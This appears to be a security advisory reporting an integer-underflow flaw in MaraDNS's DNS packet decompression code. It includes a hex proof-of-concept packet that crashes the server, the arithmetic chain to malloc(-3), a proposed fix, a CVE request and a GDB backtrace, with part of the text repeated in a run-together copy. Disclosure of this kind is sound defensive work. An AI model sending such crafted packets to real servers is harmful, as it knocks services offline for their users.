Summary
A remotely exploitable Integer Underflow (CWE-191) vulnerability in the DNS packet decompression function allows an attacker to cause a Denial of Service by triggering an abnormal program termination.
Details
I've discovered an Integer Underflow vulnerability in the decomp_get_rddata
function within the Decompress.c
file. When handling a DNS packet with an Answer RR of qtype 16 (TXT record) and any qclass, if the rdlength
is smaller than rdata
, the result of the line Decompress.c:886
is a negative number len = rdlength - total;
. This value is then passed to the decomp_append_bytes
function without proper validation, causing the program to attempt to allocate a massive chunk of memory that is impossible to allocate. Consequently, the program exits with an error code of 64, causing a Denial of Service.
PoC
To reproduce the vulnerability, an attacker can craft a malformed DNS packet with the following payload:
00000000 05 39 81 a0 00 00 00 01 00 00 00 00 00 00 10 00 |.9..............|
00000010 01 00 00 01 2c 00 00 07 68 74 65 6a 65 64 61 |....,...htejeda|
05 39 # Transaction ID
81 a0 # Flags
00 00 # QDCount
00 01 # ANCount
00 00 # NSCount
00 00 # ARCount
00 # Invalid qname. Using a valid name or "\xc0\x0c" also works.
00 10 # Qtype 16 (TXT Record)
00 01 # Class 1 (NS)
00 00 01 2c # TTL (300)
00 00 # RDlen
07 68 74 65 6a 65 64 61 #RData "htejeda\x00"
When the server receives this packet, it will trigger the vulnerability and cause the server to exit, resulting in a remote Denial of Service:
rlength = 0
and rdata = -8
. The arithmetic operation in decomp_get_rddata
assigns -8
to len
and calls decomp_append_bytes()
.
decomp_append_bytes()
calls js_create()
, which converts len
to unsigned int (4294967290) and passes it as max_count
js_create()
calls js_alloc()
with max_count + 3
, which is implicitly converted back to -3
.
js_alloc()
calls malloc(-3)
, which is implicitly converted to 18446744073709551613
on a 64-bit system (UINT64_MAX + 1 + (-3))
.
The program exits to mitigate risks of other types of vulnerabilities, but is still susceptible to Denial of Service (DoS).
Proposed Fix:
One way to fix this vulnerability is to patch Decompress.c:887
by breaking if(len <= 0)
. I've applied this patch in my local system and it successfully mitigates the vulnerability. I can submit a pull request with this change if desired.
Impact
This is a Denial of Service vulnerability that affects any server running the affected code. An attacker can exploit this vulnerability remotely by sending a specially crafted DNS packet to cause the server to crash, leading to service disruption.
Please review the provided information and let me know if you require any further details or assistance.
CVE ID Request:
I would like to request a CVE ID for this vulnerability. Please let me know if you can request the CVE ID via Github's CNA or if I should request it through the MITRE CNA of Last Resort.
GDB Backtrace
Since Github doesn't allow me to attach the GDB backtrace, I'm pasting it here:
malloc(-3) // unit_count int(-3) * unit_size int(1)
[+] Heap-Analysis - __libc_malloc(18446744073709551613)=0x0
Aieeeeee, can not allocate memory (increase max_mem maybe?)![Inferior 1 (process 3149758) exited with code 0100]
(gdb) bt
#0 0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1 0x000055555555e1a6 in js_alloc
#2 0x000055555555cb29 in js_create ()
#3 0x0000555555565bc6 in decomp_append_bytes ()
#4 0x0000555555566462 in decomp_get_rddata ()
#5 0x0000555555566650 in decomp_decompress_packet ()
#6 0x0000000000420828 in decompress_data ()
#7 0x000000000040ce65 in main
#0 0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1 0x00005555555611d9 in js_alloc (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
63: void js_alloc(unit_count = (int)-3, unit_size = (int)1) {
|||:
127: the best thing to do is exit then and there */
128: printf("Aieeeeee, can not allocate memory (increase max_mem maybe?)!");
129: exit(64);
|||:
---: }
at JsStrOS.c:129
#2 0x000055555555f526 in js_create (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
20: js_string js_create(max_count = (unsigned int)4294967290, unit_size = (unsigned int)1) {
||:
||: /* Local reference: js_string * new = 0x5555558ab810; */
||: /* Local reference: unsigned int max_count = 4294967290; */
||: /* Local reference: unsigned int unit_size = 1; */
32: /* Allocate memory for character string, return on error */
33: /* The 3 is a security margin */
34: if((new->string = js_alloc(max_count + 3,unit_size)) == (void *)0) {
||:
--: }
at JsStr.c:34
#3 0x000055555556d0ae in decomp_append_bytes (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
271: int decomp_append_bytes(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a8ee0, compresse
d_offset = (unsigned int)54, length = (int)-8) {
|||:
|||: /* Local reference: js_string * temp = 0x5555558ab810; */
|||: /* Local reference: int length = -8; */
273:
274: js_string *temp;
275: if((temp = js_create(length + 2,1)) == 0) {
|||:
---: }
at Decompress.c:275
#4 0x000055555556dc6d in decomp_get_rddata (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
823: int decomp_get_rddata(compressed = (js_string *)0x5555558a0700, out = (js_string *)0x5555558a8ee0, compressed_offset =
(unsigned int)54, type = (int)16, rdlength = (int)0) {
|||:
|||: /* Local reference: js_string * compressed = 0x5555558a0700; */
|||: /* Local reference: js_string * out = 0x5555558a8ee0; */
888: break;
889: }
890: if(decomp_append_bytes(compressed,out,
|||:
---: }
at Decompress.c:890
#5 0x000055555556deee in decomp_decompress_packet (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
934: int decomp_decompress_packet(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
||||:
||||: /* Local reference: js_string * rddata = 0x5555558a8ee0; */
||||: /* Local reference: int offset = 46; */
||||: /* Local reference: int type = 16; */
||||: /* Local reference: int rdlength = 0; */
||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
1010: /* Hack: zero out the rddata string */
1011: rddata->unit_count = 0;
1012: if(decomp_get_rddata(compressed,rddata,offset,type,rdlength)
||||:
----: }
at Decompress.c:1012
#6 0x000055555556e000 in decompress_data (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
1050: int decompress_data(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
||||:
||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
||||: /* Local reference: js_string * uncompressed = 0x5555558a0a40; */
1062: }
1063: else {
1064: return decomp_decompress_packet(compressed,uncompressed);
||||:
----: }
at Decompress.c:1064
#7 0x000055555555f27c in main (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
3789: int main(argc = (int)3, argv = (char **)0x7fffffffe008) {
||||:
||||: /* Local reference: js_string * incoming = 0x5555558a0700; */
||||: /* Local reference: js_string * uncomp = 0x5555558a0a40; */
4679: if(log_level >= 3)
4680: mlog(L_GOTDATA); /* "Message received, processing" */
4681: if(decompress_data(incoming,uncomp) == JS_ERROR) {
||||:
----: }
at MaraDNS.c:4681
Summary
A remotely exploitable Integer Underflow (CWE-191) vulnerability in the DNS packet decompression function allows an attacker to cause a Denial of Service by triggering an abnormal program termination.
Details
I've discovered an Integer Underflow vulnerability in the
decomp_get_rddata
function within theDecompress.c
file. When handling a DNS packet with an Answer RR of qtype 16 (TXT record) and any qclass, if therdlength
is smaller thanrdata
, the result of the lineDecompress.c:886
is a negative numberlen = rdlength - total;
. This value is then passed to thedecomp_append_bytes
function without proper validation, causing the program to attempt to allocate a massive chunk of memory that is impossible to allocate. Consequently, the program exits with an error code of 64, causing a Denial of Service.PoC
To reproduce the vulnerability, an attacker can craft a malformed DNS packet with the following payload:
When the server receives this packet, it will trigger the vulnerability and cause the server to exit, resulting in a remote Denial of Service:
rlength = 0
andrdata = -8
. The arithmetic operation indecomp_get_rddata
assigns-8
tolen
and callsdecomp_append_bytes()
.decomp_append_bytes()
callsjs_create()
, which convertslen
to unsigned int (4294967290) and passes it asmax_count
js_create()
callsjs_alloc()
withmax_count + 3
, which is implicitly converted back to-3
.js_alloc()
callsmalloc(-3)
, which is implicitly converted to18446744073709551613
on a 64-bit system(UINT64_MAX + 1 + (-3))
.The program exits to mitigate risks of other types of vulnerabilities, but is still susceptible to Denial of Service (DoS).
Proposed Fix:
One way to fix this vulnerability is to patch
Decompress.c:887
by breakingif(len <= 0)
. I've applied this patch in my local system and it successfully mitigates the vulnerability. I can submit a pull request with this change if desired.Impact
This is a Denial of Service vulnerability that affects any server running the affected code. An attacker can exploit this vulnerability remotely by sending a specially crafted DNS packet to cause the server to crash, leading to service disruption.
Please review the provided information and let me know if you require any further details or assistance.
CVE ID Request:
I would like to request a CVE ID for this vulnerability. Please let me know if you can request the CVE ID via Github's CNA or if I should request it through the MITRE CNA of Last Resort.
GDB Backtrace
Since Github doesn't allow me to attach the GDB backtrace, I'm pasting it here: